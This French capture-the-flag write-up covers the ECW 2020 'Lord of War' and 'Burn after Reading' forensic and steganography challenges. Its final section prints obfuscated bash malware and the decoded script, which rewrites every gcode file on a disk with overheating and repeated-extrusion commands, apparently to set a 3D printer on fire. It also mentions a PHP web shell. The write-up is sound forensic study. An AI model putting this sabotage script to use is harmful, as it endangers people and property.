# Writeup des épreuves "Lord of War" et "Burn after Reading" des qualifications de l'ECW 2020 *(Forensic, stégano)* *Un maker est retrouvé mort dans un incendie, les pompiers déclarent que la cause de l'incendie provient d'une imprimante 3D. Dans l'incendie, ils récupèrent une clef usb et un raspberry pi à analyser.* Lord-of-War.7z: 7.72Go La première épeuve est composée de 4 parties, la seconde épreuve en est composée de 3. A chaque partie, un indice est donné (plus pour identifier le bon flag en cas de doute que pour guider sur la méthode). ## Première partie : Lord of War ### Lord of War 1/4 (50 points) *Premier indice : flag.txt* Après avoir dézippé l'archive fournie, on trouve deux fichiers : `Raw1.dd` (956Mo) et `Raw2.dd` (14.8Go). D'après l'histoire de l'épreuve, on identifie le premier comme étant un dump de la clé USB et le second comme un dump de la raspberry pi. On commence donc par la clé USB (plus rapide à analyser). En l'ouvrant dans Autopsy, on trouve à la racine le fichier `flag.txt` qui contient le premier flag. ### Lord of War 2/4 (50 points) *Prochain indice : Wallet* La clé USB contient en plus plusieurs fichiers supprimés : * deux fichiers PDF, `Wiki.pdf` qui contient la page Wikipedia du ROT13 et `Meow.pdf` qui contient un article du site forensicmag.com * deux vidéos, `MrNigloR-S01-ep1.mp4` et `MrNigloR-S01-ep1-VOST.mp4`, qui contiennent le même extrait de la série Mr Robot * Un dossier `67-PgnChessBook` qui contient l'installateur Windows du logiciel `PgnChessBook`, son Readme et le fichier `my_best_game.pgn` Ce dernier fichier pgn contient une partie d'échec. En l'observant (avec PgnChessBook ou un autre logiciel), on se rend compte qu'elle est très longue (plus de 1000 coups), et que pendant la deuxième moitié de la partie, seuls les deux rois restent... Etrange ! ![Une partie bien étrange...](https://i.imgur.com/B0nyq36.png "Une partie bien étrange...") En cherchant rapidement sur internet, on trouve [ce site web](https://incoherency.co.uk/chess-steg/) qui permet de cacher un message dans un fichier pgn. On upload la partie et... > (13:52)[Drewski]: I have seen ur products on the backstore > (14:01)[YURI]: As long as you can speak XMR, ETH, XRP, LTC, ETC, ZEC, MLN, OXT, DAI, REP, XDG, ATOM, USDC, TRX and BCH-fucking-XBT you can communicate anywhere in my world. > (14:03)[YURI]: So which one do you want ? Half before, the rest at the end of the transfer > (14:27)[Drewski]: I speak ETH but you may want some XMR ? > (14:32)[YURI]: ETH is 39 like the bullet I will use for you in case of disagreement. > (14:32)[YURI]: So my wallet is ECW{6d064b364f2a315c32fd25184256c1278b12ee73} > (15:21)[Drewski]: Done > (15:26)[YURI]: Good boy! > (15:42)[YURI]: I sent you the stl file > (15:55)[Drewski]: Be careful, Yuri. Those things you sell, kill... > (05:13)[YURI]: Half before, the REST at the end of the transfer... > (07:24)[YURI]: Are you sure about not respecting the deal ? > (07:28)[YURI]: I will find you Bingo ! Une conversation parlant de "Wallet", et qui contient le flag de la partie 2. ### Lord of War 3/4 (100 points) *Prochain indice : 2eme flag.txt* A présent, penchons nous sur les fichiers mp4. Un premier visionnage nous permet de nous rendre compte que les extraits sont bien les mêmes, mais en activant les sous-titres sur la seconde vidéo, certaines lettres sont en italique... Essayons d'extraire ces sous-titres ! ![Cette lettre est un peu penchée, non ?](https://i.imgur.com/QKJM4TU.jpg "Cette lettre est un peu penchée, non ?") Avec `ffmpeg`, cela peut se faire avec la commande : `ffmpeg -txt_format text -i MrNigloR-S01-ep1-VOST.mp4 out.srt` En regardant le fichier de sous-titres obtenus, on trouve bien des lettres en italique à toutes les lignes de sous-titre. En les assemblant, on trouve : `idontignoreyouboby`. De plus, une ligne de sous-titres un peu étrange apparait : elle est programmée pour s'afficher pendant 0 secondes, et elle contient : `scC<=:7b:?rCJAE$Ac4b`. Voila qui ressemble fort à deux mots de passe... Mais sur quoi les utiliser ? Un détail m'avait échappé... Les deux fichiers mp4, qui contiennent le même passage, avec la même qualité, font des tailles très différentes : 7.5Mo et 17.3Mo... Une recherche Google supplémentaire me fait découvrir que TrueCrypt (et sa version plus récente VeraCrypt) permettent de cacher une partition chiffrée dans une fichier mp4 lisible. Voila qui sent bon ! On installe VeraCrypt, on tente de déchiffrer la partition avec chacun des deux mots de passe, et... Pas de résultat. Mince... Viennent alors les deux pdf. Meow.pdf semble vraiment ne pas être utile (rien de caché à l'intérieur, un sujet qui n'a rien à voir avec l'épreuve...), mais peut être que l'autre veut nous passer un message ? Le premier mot de passe semble déjà intelligible, mais pas le second... Un ROT13 n'aura aucun effet dessus (il n'y a pas que des lettres), mais un ROT47 peut être ? Bingo ! Cela révèle `D4rklif3inCryptSp4c3`... Miam, d'autant plus qu'il permet de déchiffrer la partition VeraCrypt ! A l'intérieur on trouve un fichier `flag.txt` qui contient le flag de la 3ème partie. ### Lord of War 4/4 (100 points) *Plus qu'un flag !* La partition VeraCrypt contient également un fichier pdf sur de conseils sur l'affichage illégal dans les abris-bus, un fichier `Liberator.gcode` et un fichier `xbdk.kdbx`. Le fichier gcode est un modèle 3D, dans un format compatible avec les imprimantes 3D. Grâce à un visualiseur gcode en ligne, on voit qu'il contient le logo de l'entreprise Diateam, qui est... un sponsor du CTF. Mauvaise piste ! ![Bien_tenté.png](https://i.imgur.com/FJ980ZZ.png "Bien_tenté.png") Le fichier `kdbx` est un fichier Keepass. En essayant de l'ouvrir avec le mot de passe restant (`idontignoreyouboby`), on trouve... plusieurs mots de passes ! Notamment, un compte `flag` dont le mot de passe associé est... le flag de l'épreuve. Victoire ! ## Seconde partie : Burn after Reading *Suite de l'enquête sur le maker décédé dans des conditions suspicieuses...* ### Burn after Reading 1/3 (50 points) *Premier indice : Point d'entrée* A présent, intéressons nous au deuxième fichier raw. Il contient deux partitions : la première, bootable, contient un fichier `initramfs.gz`, contenant lui-même un fichier `initramfs`. La seconde partition est chiffrée avec LUKS. J'ai passé beaucoup de temps à fouiller le initramfs en recherche d'information, sans rien trouver. Les concepteurs de l'épreuve ne l'avaient pas dit mais cette épreuve ne pouvait être faite qu'après avoir fini Lord of War... En effet, dans le KeePass de la quatrième partie de Lord of War, se trouvait un mot de passe associé à l'utilisateur `pi` dont le mot de passe est `3DPiting`. On essaye alors de déchiffrer la partition LUKS avec ce mot de passe, et... ça marche ! Nous voila alors avec un système linux complet à analyser. J'ai perdu pas mal de temps à extraire le système avec `dd` pour pouvoir l'analyser avec Autopsy, car j'ai été obligé de monter la partition LUKS sur une VM VirtualBox qui plantait souvent... Mais ce n'était pas du tout nécessaire pour faire l'épreuve. La première chose que j'ai fait en regardant ce système linux a été d'aller voir dans le home de l'utilisateur pi pour voir s'il y avait des choses intéressantes. Et effectivement, dans `/home/pi/.octoPrint/uploads`, on trouve plusieurs fichiers gcode. En les visualisant un par un... `CE3PRO_unbelievable.gcode` contient un objet 3D qui est... Un flag ! Malheureusement, celui-ci ne valide pas l'épreuve, et est donc certainement celui de la seconde partie. ![Imprime ton flag](https://i.imgur.com/TLh5k83.png "Imprime ton flag !") L'indice, *Point d'entrée*, pourait indiquer de regarder la partition `/boot`... Mais elle est vide. Regardons donc du coté des logs (ce qui est toujours une bonne chose à faire en arrivant dans un système). Dedans, dans le fichier `auth.log`, un ligne saute aux yeux : ```! Jul 9 13:51:02 raspberrypi sudo: www-data : TTY=unknown ; PWD=/var/www/html/admin ; USER=root ; COMMAND=/usr/local/bin/pihole -a adlist add http://RUNXe2VkOTM3NWYzMGJkMjIwNzdjZmRkNDk3YWU3YzJhZWYxYmI0YjgzMmZ9Cg== ``` On reconnait du base64, qui une fois décodé, donne... Le flag ! ### Burn after Reading 2/3 (50 points) *Second indice : Fichiers Ciblés* Le flag était donc celui trouvé dans le `/home`. L'indice prend tout son sens dans la partie 3. ### Burn after Reading 3/3 (100 points) *Dernier indice : Le virus* A présent, attaquons nous à la dernière partie. L'indice pousse à regarder le fichier `CE3PRO_corona.gcode` dans le même dossier que le flag de la partie 2... Qui contient une magnifique modélisation du coronavirus. Malheureusement, aucun rapport avec l'épreuve ! ![Félicitation, c'est une fausse piste !](https://i.imgur.com/VTxmSly.png "Félicitation, c'est une fausse piste !") Plusieurs méthodes étaient possibles pour trouver les fichiers intéressants. On pouvait notamment faire des recherches par date de modification à travers tout le disque... Pour ma part, en regardant les logs, j'ai trouvé beaucoup de choses concernants pihole, dont des dizaines d'appels à la page admin de son api... En regardant dans le dossier `/etc/pihole` avec Autopsy, 3 fichiers txt supprimés attirent mon attention : `pihole.0.matterandlight.txt` qui contient un shellcode php, `pihole.1.parsedmatter.txt` qui contient un script bash... très moche, et `pihole.3.accretionDisc.txt` qui est vide. > Ces fichiers étaient en fait dans le dossier `/var/www/html/admin/scripts/pi-hole/php`, sous d'autres noms... Je n'ai pas la moindre idée de pourquoi Autopsy les a trouvé dans `/etc/pihole` ! Le fichier bash en particulier ressemble bien à un virus, qui aurait indirectement été uploadé via le shellcode php. Seul problème, il n'est vraiment pas beau à voir : ```bash! #!/bin/bash ${*^^} "${@}"ba"${@%4GJp}"s'h' ${*%%x\{&|q\]l} "${@/\(mL\`U./>l\"rs}" <<< "$( "${@//F\[sym/8%wS;k43}" $'\x70'rin''t'f' "\x$( ${@,} \p\ri""\nt''$'\u0066' %s ';6Jb+l<2' "${@##=#BHH}" ${*~} | "${@//x$Rdu;gr/VQos\!yS}" ${*,,} 'm'$'\1445''s'$'\u0075'm "${@~}" | $* ${*} $'\x63'"${@#T%EP#}"u${*^}t -b $[ ((-56"#"k+-"6"1"#""$@"e)+22#2"7") ]-$[ ((15#"0"+-3#"${@/07Ueg+,@/d\!Fm%}"1"${@/t9u&17#/h\)V#wqQf}"1)+5${*^^}3"${@//Md=.RU</2=*P8o%v}"#${@%%ecrN}m) ] ${*##nN2Wv} ${*,,} )" ${@,} ; ${*//z\}BWp+:} ${*//oxQaU2} pr\in\t''f "\x$( ${*//?I2jQpv} $'\160\x72'""${*~}i$'\x6e'"t""f" %s 'dy52hd]8' ${*^} ${@#$&2\)-=*#} | ${*,,} m''d5''$'\u0073'um "${@^}" | "${@/a0^SL,,}" ${*~} cut -b $(( ((${!*}-53#a+4#"${@/1Cg\!JLUk}"11)+57#k) ))-$[ ((-6"#"${*~~}3"${@#e*qL}"3+"${@,}"-"4"${@//t<^\{/.1Hu7\*|}#13)+61${*,}#"I") ] ${*^^} ${@/02\!fu} )" ${*//>zA@Y/ju<E$} ${*%%=;*V} && ${*,} ${@,} 'p'""rint\f "\x$( ${*//u8\`2>_/Y~Ru} ''p${*#dqo\)iPly}rin${*,,}t\f %s 'G6n=E}q' ``` Et comme ça sur 400Ko... En recherchant un peu ce qui existe en obfuscateur bash, on trouve qu'il a probablement été obfusqué grâce à Bashfuscator, ce qui ne nous aide pas vraiment dans la mesure ou il n'existe pas de désobfuscateur... Puisque nous n'avons pas peur d'un fichier à trouver en tant que virus, essayons de l'exécuter : après un peu de temps, il télécharge une (grosse) page web, visiblement une page Youtube. Bizarre pour un virus... Observons quand même la structure du code obfusqué. Celui-ci utilise de *très* nombreuses expressions qui s'évaluent en rien en bash, comme `${*^^}` ou `${*%%x\{&|q\]l}` au tout début. Ensuite, les mots clés et les noms de programmes sont coupés en mettant certaines lettres entre "" ou '', ou en les remplaçant par leur valeur décimale, hexa... Par exemple `"${@}"ba"${@%4GJp}"s'h'` devient ainsi `bash`. Une fois cela compris, on peut comprendre la structure du code. En nettoyant le début du code, on peut extraire `bash <<< "$( printf "\x$(printf %s ';6Jb+l<2' | md5sum | cut -b 17-18)"; ...` Le code désobfusqué se construit octet par octet, en calculant le md5 d'une chaine de caractère plus ou moins aléatoire, en en prenant un octet en hexa et en l'ajoutant à la commande. J'ai alors essayé de faire un désobfuscateur basique, en remarquant que très souvent le `\x$(` du début n'était pas obfusqué, et en évaluant la valeur de la suite pour reconstruire octet par octet la commande... Ce qui m'a permis d'extraire environ un quart du fichier, et qui m'a confirmé que c'était un `curl` qui était appelé. J'ai ensuite eu une idée : pour récupérer la commande, il suffit de l'afficher au lieu de l'exécuter, et donc de remplacer le `bash` au début du fichier par un `cat`. Bingo : ```bash! curl 'https://www.youtube.com/watch?v=63K5VMx2BZM' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'DNT: 1' -H 'Connection: keep-alive' -H 'Cookie: VISITOR_INFO1_LIVE=fiPetRZgDXQ; YSC=JleF1aORUEc; GPS=1; CONSENT=WP.288b95' -H 'Upgrade-Insecure-Requests: 1' -H 'TE: Trailers' ``` Et [en suivant le lien](https://www.youtube.com/watch?v=63K5VMx2BZM)... Kenjirolled ! Bon, ce fichier cache certainement encore des secrets... Et si le fichier exécutait plusieurs commandes ? En cherchant les occurences de `<<<` dans le fichier, on trouve effectivement une deuxième structure identique ! Le fichier est en fait sous la forme `bash <<< printf $(...) || bash <<< printf $(...)` Plus qu'à récupérer le deuxième code ! Pour cela, il suffit de copier coller la deuxième moitié du fichier en remplaçant à nouveau le `bash` par un `cat`... Et victoire, un troisième flag ! ```bash= #ECW{7aaceb8d3e60402d94079707d2430c7394d916eb} files=$(find / -type f -name "*.gcode" 2>/dev/null) files=$(echo $files | tr " " "\n") for file in $files do sz=$(wc -l $file) sz=$(echo $sz | cut -d " " -f1) div="2" med=$(expr $sz / $div) cat $file |head -n $med > temp python -c 'print "M107\nM190 S105\nM190 S105\nM109 S250"'>>temp x=$(cat $file |head -n $med | tail -n 1 | cut -d 'X' -f2 | cut -d '.' -f1) ((x2=$x+1)) python -c 'print("G1 E10 F100\nG1 X'$x'\nG1 E10 F100\nG1 X'$x2'\n")*1000' >> temp cat $file |tail -n $med >> temp cat temp > $file rm temp done ``` On remarque de plus que ce virus recherche tous les fichier gcode du disque pour leur ajouter des choses en fin de fichier... Des commandes invalides pour l'imprimante 3D, afin de la faire s'enflammer ?